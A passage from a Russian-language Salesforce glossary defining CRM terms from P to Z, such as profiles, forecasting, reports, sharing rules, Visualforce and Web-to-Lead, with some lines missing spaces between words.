для наглядного отображения заданных этапов, критериев правила и действий, составляющих процесс утверждения.

Professional Edition
Версия Salesforce, предназначенная для компаний, которым требуется доступ ко всем функциям CRM.

Группа продуктов
Поле раскрывающегося списка продуктов, которое может быть настроено для категоризации типов продуктов.

Профиль
Профильопределяет полномочияпользователя, необходимые для выполненияразных действий в системе Salesforce.
Например, профиль «Менеджеррешений» предоставляетпользователюправонасоздание, редактированиеиудаление
решений.

Профиль, Chatter
Личная страница любого пользователя Salesforce, которая содержит контактные данные, списки отслеживаемых и
отслеживающих, ленту Chatter и фотографию пользователя.

Повысить
Чтобы повысить рейтинг идеи на 10 очков, нажмите кнопку «повысить». Рейтинг идеи может быть повышен только
одинраз. Идея, рейтинг которойбылпонижен, неможетбытьповышена. Система Salesforce автоматическиповышает
рейтинг любой собственной идеи.

Миграция изменений из одной организации в другую. Также см. определения «Развернуть» и «Миграция».

Организация поставщика
При использовании адаптера Salesforce для Lightning Connect организация поставщика сохраняет данные, которые
просматриваются организацией подписчика.

Общедоступный календарь
Календарь, позволяющий группе пользователей отслеживать важные события каждого пользователя (например,
маркетинговыемероприятия, выпускипродуктаили занятия) илипланироватьобщиедействия (например, календарь
отпусков). Например, группа маркетинга может настроить календарь событий, предназначенный для просмотра
предстоящих маркетинговых мероприятий всеми пользователями торговой организации.

Всплывающие уведомления для мобильных устройств
Всплывающие уведомления — это предупреждения, отображаемые на начальном экране мобильного устройства в
том случае, если приложение не используется. В зависимости от типа устройства, данные предупреждения могут
содержать текст, значки и звуки.

Всплывающие уведомления, консоль Salesforce
Визуальные индикаторы на консоли Salesforce, указывающие на изменение записи или поля во время сеанса
пользователя.
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Активная доставка обновления
Методдоставкиобновлений, отправляющийобновленияустановленногоуправляемогопакетавовсесоответствующие
организации.

Q

Расписание объемов продукции
Расписание объемов продукции содержит даты, количество единиц и количество выплат для выставления счета или
доставки продукта. Конкретный способ использования расписаний определяется организацией. Доступно только в
версиях Enterprise Edition, Unlimited Edition, Performance Edition и Developer Edition.

Прогнозирование по количеству
Прогнозирование на основе предполагаемого количества проданных единиц.

Количество без поправок
Применяется к продукту «Совместные прогнозы». Сумма собственных возможностей количества пользователя и
возможностейегоподчиненных (безпоправок). Подчиненные — это сотрудники, расположенныенижепользователя
в иерархии прогнозов.

Количество без поправки менеджера
Применяется к продукту «Совместные прогнозы». Показатель прогноза, отображаемый ответственному за прогноз.
Показатель прогноза — это сумма возможностей количества ответственного и его подчиненных, включая поправки,
внесенныевпрогнозыподчиненных. Данныйпоказательне включаетпоправки, внесенныевышестоящимименеджерамипрогнозов
в иерархии прогнозов.

Вопрос
Вопрос, опубликованный в сообществе ответов. Участники сообщества могут публиковать ответы на заданные
вопросы с целью их решения.

Вопрос, личный
Вопрос, опубликованныйвсообществеответовипомеченныйкак «Личный», чтобыбытьдоступнымтолько агентам
службы поддержки.

Очередь
Область хранения элементов, ожидающих обработки. Система Salesforce использует очереди в разных функциях и
технологиях.

План продаж
Запланированныйпоказатель, назначаемыйпользователюежемесячноиежеквартально. (Прииспользованиипродукта
«Совместные прогнозы» план продаж — это запланированныйпоказатель, назначаемыйпользователюежемесячно.)
Планпродажменеджеравключаетпоказатели, которыедолжныбытьдостигнутыменеджеромиегорабочейгруппой.

Смета
Запись, содержащая установленные цены на продукты и услуги. Сметы могут быть созданы на основе возможностей
и отправлены клиентам в виде PDF-документов.

R

Недавние действия
Страница «Недавние действия» содержит краткие сведения обо всех последних действиях пользователя в зоне.
Например, данная страница содержит все идеи и комментарии, опубликованные пользователем в зоне, а также идеи,
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за которые он голосовал. Чтобы просмотреть страницу «Недавние действия», откройте вкладку «Идеи» ищелкните
свое прозвище в верхнем правом углу страницы.

Недавние элементы
Список ссылок на последние просмотренные записи, отображаемый на боковой панели. Обратите внимание, что
данный список содержит только некоторые типы записей.

Запись
Отдельный экземпляр объекта Salesforce. Например, «Иван Иванов» может быть именем в записи контакта.

Тип записи
Тип записи — это поле, доступное для определенных записей, которое может содержать все или только некоторые
значения стандартныхинастраиваемыхраскрывающихся списковдля этой записи.Типызаписеймогутбыть связаны
с профилями, чтобы пользователям определенного профиля были доступны только соответствующие значения
раскрывающегося списка.

Обновление записи
Сообщение в ленте Chatter, которое появляется в результате изменения поля отслеживаемой записи.

Связанный список
Раздел страницы сведений о записи, содержащий список связанных элементов. Например, связанный список
возможности «Журнал этапов» или связанный список обращения «Открытые действия».

Всплывающие ссылки связанного списка
Тип ссылки, позволяющий просматривать краткие сведения о связанных списках путем наведения указателя мыши
на ссылку страницы сведений. Отображение всплывающих ссылок должно быть включено администратором.
Отображаемый текст содержит название соответствующего связанного списка и количество доступных записей.
Кроме того, данный тип ссылок поддерживает быстрый переход к содержимому связанного списка без прокрутки
страницы вниз.

Связанный объект
Объекты, выбранные администратором для отображения в мини-представлении консоли Agent Console, если записи
определенного типаотображаются вподробномпредставленииконсоли. Например, еслиподробноепредставление
отображает обращение, то мини-представление может отображать связанную организацию, контакт или актив.

Взаимосвязь
Связьмеждудвумяобъектами, используемаядля созданиясвязанныхсписковвмакетах страницилинауровнесведений
в отчетах. Для связывания данных система Salesforce использует совпадающие значения в указанных полях для обоих
объектов. Например, если один объект хранит данные о компаниях, а другой — о пользователях, то взаимосвязь
определяет пользователей, работающих в компании.

Группа взаимосвязи
Записи настраиваемого объекта, используемые для хранения наборов организаций.

Участник группы взаимосвязи
Участники группы взаимосвязи — это организации, добавленные в группы взаимосвязи.

Отчет
Отчет — этонабор записей, соответствующихзаданнымкритериямиотображающихся в виде упорядоченныхстрок
и столбцов. Данные отчета могут быть отфильтрованы, сгруппированы и представлены в виде диаграммы. Отчеты
хранятсявпапках, которыеопределяютуровеньдоступапользователей.См. определения «Табличныйотчет», «Сводный
отчет» и «Матричный отчет».

Конструктор отчетов
Конструктор отчетов — это экранный редактор отчетов.
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Тип отчета
Тип отчета определяет набор записей и полей, доступных в отчете, исходя из взаимосвязей между основным и
связаннымиснимобъектами. Отчетысодержат только те записи, которые соответствуюткритериям, заданнымв типе
отчета. Система Salesforce предоставляет доступ к набору предопределенных типов стандартных отчетов, которые
могут использоваться администраторами организации для создания типов настраиваемых отчетов.

Запрошенная конференция

Конференция, запрос на которую отправляется пользователем Salesforce контакту, интересу или организации-лицу.
После запроса конференциикомпанияSalesforce создает уникальнуювеб-страницуконференции, котораяотображает
предложенное время ее проведения. Данная страница позволяет приглашенным выбирать оптимальное время и
отправлять свои ответы. Компания Salesforce отслеживает все ответы, используемые организатором для выбора
оптимального времени.

Запрошенная конференция, которая была подтверждена, преобразуется в многопользовательское событие.

Отчетный снимок
Отчетный снимок — это средство составления отчетов по архивным данным. Авторизованные пользователи могут
сохранять результаты табличных или сводных отчетов в полях настраиваемого объекта, а затем соотносить данные
поля с соответствующими полями целевого объекта. Кроме того, они могут планировать время выполнения отчета
для загрузки данных отчета в поля настраиваемого объекта.

Текущий пользователь отчетного снимка
Пользователь, параметры безопасности которого определяют уровень доступа к данным исходного отчета. Таким
образом, пропускаются всепараметрыбезопасности, а всемпользователям, которыемогутпросматриватьрезультаты
исходного отчета в целевом объекте, предоставляется доступ к данным, которые, в противном случае, были бы им
недоступны.

Календарь ресурсов
Календарь, позволяющийгруппепользователейкоординироватьиспользованиеобщедоступногоресурса (например,
конференц-зала или принтера).

Прогнозирование доходов
Прогнозирование на основе предполагаемых доходов.

Расписание доходов
Расписание доходов содержит даты, суммы доходов и количество выплат для выставления счета или подтверждения
дохода, полученногозапродукт.Конкретныйспособиспользованиярасписанийопределяетсяорганизацией. Доступно
только в версиях Enterprise Edition, Unlimited Edition, Performance Edition и Developer Edition.

Роль
Ответственность, назначенная пользователю, организации-партнеру или контакту за отдельные организации и
возможности. Роли пользователей определяются администраторами в меню «Настройка». Отдельные пользователи
могут назначать роли контакта и партнера для организаций и контактов.

Текущий пользователь
Каждойпанелимониторинганазначаетсятекущийпользователь, параметрыбезопасностикоторогоопределяютданные,
доступные для отображения.Параметры безопасности пользователя, назначенного текущим, определяют данные,
доступные всем пользователям панели мониторинга, независимо от их личных параметров безопасности. Текущим
пользователем динамической панели мониторинга может быть назначен вошедший пользователь, поэтому данные,
доступные на панели мониторинга, определяются уровнем доступа каждого отдельного пользователя.
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S-Control

Прим.: Элементы S-Control заменены страницами Visualforce. Начиная с марта 2010 года создание элементов
S-Control недоступноновыморганизациямиорганизациям, которыеихникогданесоздавали. Текущиеэлементы
S-Control останутся без изменений и будут доступны для редактирования.

Настраиваемое веб-содержимое, предназначенное для использования в настраиваемых ссылках. Настраиваемые
элементы S-Control могут содержать любой тип содержимого, отображаемого в обозревателе (например,
Java-приложение, элемент управления ActiveX, файл Excel или настраиваемая веб-форма в формате HTML).

Продажная цена
Ценапродукта возможности. Даннаяценаможетотличатьсяот стандартнойценыилиценыпродуктапопрайс-листу.

Консоль Salesforce
Консоль Salesforce предназначена для пользователей динамичных сред, нуждающихся в быстром поиске, создании
иобновлениизаписей, так какрасширяетфункциональныевозможностиконсоли Agent Console на вкладке «Консоль»
путем отображения записей и связанных элементов в виде вкладок на одном экране.

Средство интеграции консоли Salesforce
API, использующий обозреватели в качестве клиентов для отображения страниц в виде вкладок консоли Salesforce;
средство интеграции предоставляет разработчикам программный доступ к консоли, функциональные возможности
которой могут быть расширены администраторами в соответствии с текущими бизнес-требованиями.

Salesforce CRM Call Center
Приложение Salesforce, которое объединяет систему Salesforce со сторонней системой компьютерной телефонии
(CTI).

Salesforce CRM Content
Настраиваемая система управления содержимым, предназначенная для систематизации, общего доступа, поиска и
управления содержимым в пределах организации и основных областей приложения Salesforce. Содержимое может
включать в себя файлы всех типов: от традиционных корпоративных презентаций в формате Microsoft PowerPoint до
аудио- и видеофайлов или веб-страниц.

Salesforce for Outlook

Salesforce for Outlook — это устанавливаемое приложение для интеграции с Microsoft® Outlook®, синхронизирующее
контакты, события и задачи между приложением Outlook и системой Salesforce. Помимо синхронизации данных
элементов, сообщения эл. почты, вложения, события и задачи Outlook могут быть добавлены в несколько контактов
Salesforce, а записи Salesforce, связанные с контактами и интересами в сообщениях эл. почты и событиях, могут
просматриваться прямо в приложении Outlook.

В зависимости от организации, пользователи могут настраивать объекты и направления синхронизации между
приложением Outlook и системой Salesforce. Уровень, доступный пользователям для настройки данных параметров в
системе Salesforce, определяется администратором.

Конфигурация Salesforce for Outlook
Конфигурации Salesforce for Outlook содержат параметры для данных, которые доступны пользователям
Salesforce for Outlook для синхронизации приложения Microsoft® Outlook® с системой Salesforce. Администраторы могут
создавать отдельные конфигурации для разных типов пользователей и предоставлять пользователям полномочия
для редактирования некоторых собственных параметров. Например, группа, работающая с возможностями, может
синхронизировать все данные, тогда как менеджеры могут синхронизировать только события.
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Salesforce Classic Mobile
Salesforce Classic Mobile — это компонент Salesforce, предоставляющий пользователям доступ к данным Salesforce на
мобильных устройствах, оснащенных мобильным клиентским приложением. Клиентское приложение Salesforce
Classic Mobileобмениваетсяданнымис системой Salesforceпобеспроводнымсетямихранитлокальнуюкопиюданных
пользователя в собственной базе данных на мобильном устройстве. Пользователи могут редактировать локальные
копиизаписейSalesforceв автономномрежимеиотправлятьвнесенныеизмененияпослевосстановленияподключения.

Salesforce Office Toolkit
Модуль, предоставляющий разработчикам прямой доступ к интерфейсу SOAP API в продуктах Microsoft Office и
упрощающий процесс создания интеграций и решений на основе Office.

Расписание
См. определения «Расписание объемов продукции» и «Расписание доходов».

Всплывающее окно
Страница, отображаемая для входящего вызова в приложении Salesforce CRM Call Center.

Поиск
Функция, позволяющаяискатьсведения, соответствующиеуказаннымключевымсловам. Прииспользованиифункции
поисканабоковойпанеливведитекритериипоискавразделебоковойпанели «Поиск» илищелкните«Расширенный
поиск…». Прииспользованиифункцииглобальногопоиска введите критериипоиска вполепоиска, расположенное
в верхнем колонтитуле.

Макет поиска
Структура полей, добавленных в результаты поиска, диалоговые окна поиска и ключевые списки на начальных
страницах вкладок.

Услуга
Услуга — это оказаниепрофессиональнойпомощи. Услуги, связанные с системой Salesforceиплатформой Force.com
(например, расширенная поддержка клиентов или поддержка конфигурации), могут быть указаны в каталоге
AppExchange.

Портал Service Cloud
Портал Service Cloud — это клиентский портал, предназначенный для большого количества пользователей.
Приобретенныелицензиинаиспользованиепортала Service Cloud могутбытьназначеныконтактам, имеющимдоступ
к клиентскому порталу. В этом случае при входе большого количества пользователей удастся избежать падения в
производительности клиентского портала.

Настройка
Меню, позволяющее администраторам настраивать и определять параметры организации и приложения Force.com.
Способ доступа к меню «Настройка» (посредством раскрывающегося списка или специальной ссылки в верхнем
колонтитуле) определяется заданными параметрами пользовательского интерфейса организации.

Группа общего доступа
ГруппапользователейSalesforce, которымпредоставляетсядоступк записям, принадлежащимпользователяммассового
портала. Каждый клиентский портал поддерживает собственную группу общего доступа.

Общедоступные действия
Функция, позволяющаяпользователямсвязыватьиндивидуальныеинеповторяющиеся задачиилинеповторяющиеся
события с 10 контактами. Один из контактов назначается основным, а все остальные дополнительными.

Общий доступ
Предоставление другим пользователям возможности просмотра и редактирования собственных сведений. Общий
доступ к данным может быть предоставлен несколькими способами.
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• Модельобщегодоступа: определяет стандартныеединыеуровнидоступа, предоставляемыепользователямкчужим
данным, а также определяющие необходимость использования иерархий при определении доступа к данным.

• Иерархия ролей: определяет разные уровни пользователей, чтобы, независимо от параметров модели единого
общего доступа, пользователи более высоких уровней могли просматривать и редактировать данные,
принадлежащие пользователям более низких уровней.

• Правилообщегодоступа: позволяет администратору указывать, чтовсе данные, созданныепользователямивнутри
определенной группы или роли, автоматически доступны участникам другой группы или роли.

• Общий доступ, установленный вручную: позволяет отдельным пользователям предоставлять общий доступ к
записям другим пользователям или группам.

• УправляемыйобщийдоступкApex: позволяетразработчикамиспользоватьпрограммныесредствадля управления
общим доступом, необходимым для поддержки работы приложений. См. определение «Управляемый общий
доступ к Apex».

Модель общего доступа
Алгоритм, заданныйадминистраторомиопределяющийстандартныйдоступпользователейкразнымтипамзаписей.

Правило общего доступа
Типстандартногообщегодоступа, созданногоадминистратором. Правилообщегодоступапозволяетпользователям
определенной группы или роли получить доступ ко всем сведениям, добавленным пользователями данной группы
или роли.

Боковая панель
Область, доступная в левой части всех страниц и содержащая ссылки на недавние элементы и прочие ресурсы.

Сайты
Force.com Sites позволяет создавать общедоступные веб-сайты и приложения, которые напрямую интегрированы в
организацию Salesforce. При этом пользователям не требуется указывать имя и пароль для входа.

Социальные организации и контакты
Функция, позволяющая просматривать профили организаций, контактов и интересов в социальных сетях, а также
другие связанные с ними данные, — прямо из Salesforce, и, таким образом, получать более полное представление о
проблемах текущих и потенциальных клиентов.

Social Key
Функция Social Key поддерживает функции «Социальные организации и контакты» и «Data.com Clean», позволяя
упроститьотслеживаниеконтактовиинтересовв социальныхсетях. Выберитенужныесоциальныесетивпараметрах
функции «Социальныеорганизациииконтакты». Автоматические заданияпоочистке содержат специальныессылки.
Чтобыпросмотретьпрофильконтактаилиинтереса в социальнойсети, воспользуйтесь соответствующейстраницей
сведений.

Программный телефон
Телефонный интерфейс, отображающийся пользователю Salesforce CRM Call Center на боковой панели страниц
Salesforce или в нижнем колонтитуле консоли Salesforce.

Коннектор программного телефона
Компонент адаптера CTI, преобразующий XML программного телефона в HTML и передающий его в обозреватель
пользователя Salesforce CRM Call Center.

Адаптер CTI программного телефона
Адаптер CTI — это небольшое приложение, контролирующее внешний вид и функциональность программного
телефона Salesforce. Адаптер играет роль промежуточного звена между сторонней системой CTI, системой Salesforce
ипользователем Salesforce CRM Call Center. Адаптердолженбыть установленнакаждомкомпьютере, которомутребуется
доступ к функциям Salesforce CRM Call Center.
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Программное обеспечение как услуга (SaaS)
Модель доставки, при которой приложение размещается как услуга и доступно клиентам через Интернет.
Ответственность за ежедневное обслуживание, функционирование и поддержку приложения, а также за данные
каждого клиента, несет поставщик SaaS. Данная услуга позволяет клиентам не использовать собственное аппаратное
ипрограммноеобеспечение, а также сотрудниковИТ-отдела, для установки, настройкииобслуживанияприложений.
Модель SaaS позволяет предоставлять услуги в любом сегменте рынка.

Менеджер решений
Отдельный сотрудник организации, который может просматривать, редактировать, публиковать и удалять решения.
Как правило, это эксперты по продукту с прекрасными навыками письменного общения и глубокими познаниями в
определенной области продукта. Профиль «Менеджер решений» может быть назначен при создании или
редактировании пользователей.

Исходный отчет
Настраиваемыйотчет, запланированныйдлявыполненияизагрузкиданныхввиде записейвцелевойобъектотчетного
снимка.

Продолжительность этапа
Продолжительность этапа в отчетах по возможностям — это количество дней, в течение которых возможность
находилась на этапе, указанном в столбце «Этап».

Журнал этапов
Связанный список на странице сведений о возможности, регистрирующий изменения статуса и этапа возможности.

Стандартная цена
Цена продукта, указанная в стандартном прайс-листе.

Стандартный прайс-лист
Автоматически созданный прайс-лист, содержащий все продукты и их стандартные цены.

Статус
Статус идеи помогает участникам зоны отслеживать ее развитие. Например, значения «Проверяется», «Проверено»,
«Скоро появится» и «Теперь доступно» — это типичные статусы, которые могут быть заданы и назначены идеям.
Статус идеи отображается напротив ее заголовка для всех участников зоны.

Морфологический поиск
Процесс усечения слова до основы. Морфологическийпоиск возвращает расширенныеформыпоискового запроса.
Например, в результате поиска по слову «бег» отображаются элементы, содержащие слова «бегать», «бегун» и «бегом».

Подпоток
Элемент«Подпоток»ссылаетсянадругойпоток, вызываемыйпривыполнении. Поток, содержащийэлемент «Подпоток»,
называется основным.

Организация подписчика
При использовании адаптера Salesforce для Lightning Connect организация подписчика просматривает данные,
сохраненные в другой организации Salesforce (организации поставщика). Организация поставщика содержит
определение внешнего источника данных и внешние объекты, которые соотносятся с объектами организации
поставщика.

Поле резюмирования
Поле резюмирования — это числовой столбец отчета, в котором используется одно из следующих значений: сумма,
среднее значение, наибольшее значение или наименьшее значение. Пользователи могут определять настраиваемые
формулы резюмирования для расширения данных значений.Помимо отображения суммарных данных, поля
резюмирования могут использоваться для определения диаграмм и отчетных снимков.
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Сводный отчет
Сводные отчеты аналогичны табличным отчетам, но позволяют группировать строки данных, просматривать
промежуточные значения и создавать диаграммы. Данные отчеты могут использоваться в качестве исходных для
компонентов панелимониторинга. Рекомендуемиспользовать данный тип отчета для отображения промежуточных
значений на основе значения отдельного поля или создания иерархического списка (например, все возможности
рабочей группы, охваченные промежуточными результатами по полям «Этап» и «Ответственный»).

Каналы распределения
Благодаряканаламраспределения, пользователимогутподписыватьсянаизменения, происходящиенасайтахForce.com,
а также получать обновления для внешних программ чтения новостей.

T

Тег
Тег — это слово или короткая фраза, которая может быть назначена большинству записей Salesforce с целью
индивидуального описания и структурирования данных. Администратор может включить теги для организаций,
действий, активов, кампаний, обращений, контактов, контрактов, панелей мониторинга, документов, событий,
интересов, примечаний, возможностей, отчетов, решений, задач и любых других настраиваемых объектов (кроме
участников группы взаимосвязи). Для быстрого доступа к тегам можно использовать интерфейс SOAP API.

Облако тегов
Облако тегов — это способ отображения тегов, назначенных содержимому библиотек Salesforce CRM Content. Размер
имени тега в облаке тегов определяется популярностью, то есть, самые большие теги назначены наибольшему
количеству файлов или веб-ссылок. Сортировка тегов может быть выполнена по алфавиту или по популярности.
Облако тегов содержит 30 самых популярных тегов.

Задача
Назначение задачи выбранному пользователю. При необходимости заполните следующие поля задачи: «Тема»,
«Статус», «Приоритет» и «Крайний срок». Задачи — этодействиябизнес-правилиутверждений, инициированные
бизнес-правилами или процессами утверждения.

Дополнительную информацию о задачах, связанных с календарем, см. в определении «Действие (календарные
события/задачи)».

Ссылки панели задач
Ссылки на вкладках, позволяющие предоставлять быстрый доступ к типичным операциям, доступным на отдельной
странице (например, создание организации).

Территория
Вверсияхпрогнозирования, поддерживающихтерритории: совокупностьорганизацийипользователей, участвующих
в создании прогноза.

Зависимое от времени действие бизнес-правила
Действие бизнес-правила, выполняемое при выполнении условий бизнес-правила и связанного триггера времени.

Лучшие за все время идеи
Вложенная вкладка «Лучшие за все время» сортирует идеи по количеству очков — от наибольшего к наименьшему.
Данная вложенная вкладка позволяет просмотреть самые популярные идеи в журнале зоны «Идеи».

Темы
Сообщение или комментарий, публикуемый в Chatter, может быть связан со всеми остальными сообщениями и
комментариями по данному вопросу путем добавления темы. Тема — это способ категоризации сообщения или
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комментария с целью упрощения его поиска. Кроме того, темы позволяют находить группы и людей, которые
интересуются или обладают расширенными знаниями по аналогичным темам.

Темы, Chatter Answers
Боковаяпанель, содержащаякатегорииданных, позволяющиеклиентампросматривать вопросыиответы. Например,
при наличии зоны для продуктов группы аппаратного обеспечения можно создать следующие темы: «Портативные
компьютеры», «Настольные компьютеры» и «Принтеры».

Средство перевода
Средство перевода позволяет выбрать языки перевода, назначить переводчиков и создать переводы настроек,
выполненныхворганизации Salesforce, а такжепереопределитьметкиипереводыиз управляемыхпакетов. Спомощью
средствапереводамогутбытьпереведенылюбыеэлементыинтерфейса — отзначенийнастраиваемыхраскрывающихся
списков до значенийнастраиваемыхполей, поэтому пользователииз других стран смогут в полноймере оценить все
достоинства системы Salesforce на своем родном языке.

Самые обсуждаемые темы
Раздел «Самые обсуждаемые темы» на вкладке Chatter отображает темы, обсуждаемые в Chatter в настоящее время.
Темы, добавляемые пользователями в сообщения и комментарии или комментируемые или выбираемые в качестве
понравившихся чаще всего, становятся самыми обсуждаемыми. Например, если сотрудники планируют принять
участие впредстоящейконференции Dreamforce иактивнообсуждают эту тему вChatter, то тема Dreamforce становится
одной из самых обсуждаемых. Самая обсуждаемая тема определяется не только показателями популярности, и, как
правило, относится кразовомуилиредкому событию, которое является актуальнымнанастоящиймомент (например,
проведениеконференцииилиприближающийсясрок сдачипроекта).Изсоображенийконфиденциальностираздел
«Самые обсуждаемые темы» не содержит темы, используемые исключительно в личных группах или лентах записей.

Сократить
Усечение настраиваемого объекта позволяет пользователям удалять все записи объекта без удаления самого объекта
и его метаданных.

U

V

Visualforce
Простой язык разметки на основе тегов, благодаря которому разработчики могут легко определить настраиваемые
страницыикомпонентыдляприложений, созданныхна основеплатформы. Каждыйтег соответствует крупномуили
мелкомукомпоненту (например, раздел страницы, связанныйсписокилиполе). Компонентымогут контролироваться
логикой, используемойна стандартныхстраницах Salesforce, илисобственнойлогикойразработчиков, которая связана
с контроллером, созданным посредством Apex.

Голос, идея
Голосованиев сообществеидейпредполагаетповышениеилипонижениерейтингаидеи.Принятие голоса, отданного
участником сообщества, подтверждается наличием его прозвища в нижней части страницы сведенийоб идее. Чтобы
просмотреть все идеи, голос за которые уже отдан, откройте страницу «Недавние действия».

Голос, ответ
Голос в сообществе ответов соответствует положительному или отрицательному мнению об ответе на вопрос.
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W

Прямые веб-интересы
Прямой веб-интерес — это особыйисточник интереса, указывающийна то, что интерес был создан при заполнении
формы Web-to-Lead, содержащейкодотслеживанияSalesforce, темпользователем, которыйдобавилзакладкунавеб-сайт
организации или ввел URL-адрес этого веб-сайта в адресное поле обозревателя.

Веб-ссылки
См. определение «Настраиваемые ссылки».

Направленные веб-интересы
Направленный веб-интерес — это особый источник интереса, указывающий на то, что интерес был создан при
переходе пользователя на веб-сайт организации посредством веб-ссылки на другом веб-сайте и заполненииформы
Web-to-Lead, содержащей код отслеживания Salesforce. Например, пользователь просматривает веб-сайт партнера
организации, гдещелкает ссылку на веб-сайт организации, а затем заполняетформу Web-to-Lead. В этом случае будет
созданнаправленныйвеб-интерес. Сведенияобисточникекаждогонаправленноговеб-интересасодержатссылающийся
URL-адрес.

Web-to-Case
Функция, позволяющая собирать отзывы и вопросы к службе поддержки на корпоративном веб-сайте, а затем
использовать полученные данные для создания обращений.

Web-to-Lead
Функция, позволяющая собирать регистрационные данные или сведения профиля на корпоративном веб-сайте, а
затем использовать полученные данные для создания интересов.

Действие бизнес-правила
Действие бизнес-правила (например, электронное предупреждение, обновление поля, исходящее сообщение или
задача), выполняемое при соблюдении условий бизнес-правила.

Бизнес-правило
Бизнес-правилоопределяетдействия, выполняемыеприсоблюденииопределенныхусловий. Действиябизнес-правил
могут выполнятьсянемедленно (если запись соответствует заданнымусловиям) иливопределенныйдень (если заданы
триггеры времени).

X

Определения отсутствуют.

Y

Определения отсутствуют.

Z

Зона
Зоны помогают объединять идеи и вопросы в логические группы; каждая зона имеет собственное направление,
уникальные идеи и вопросы.
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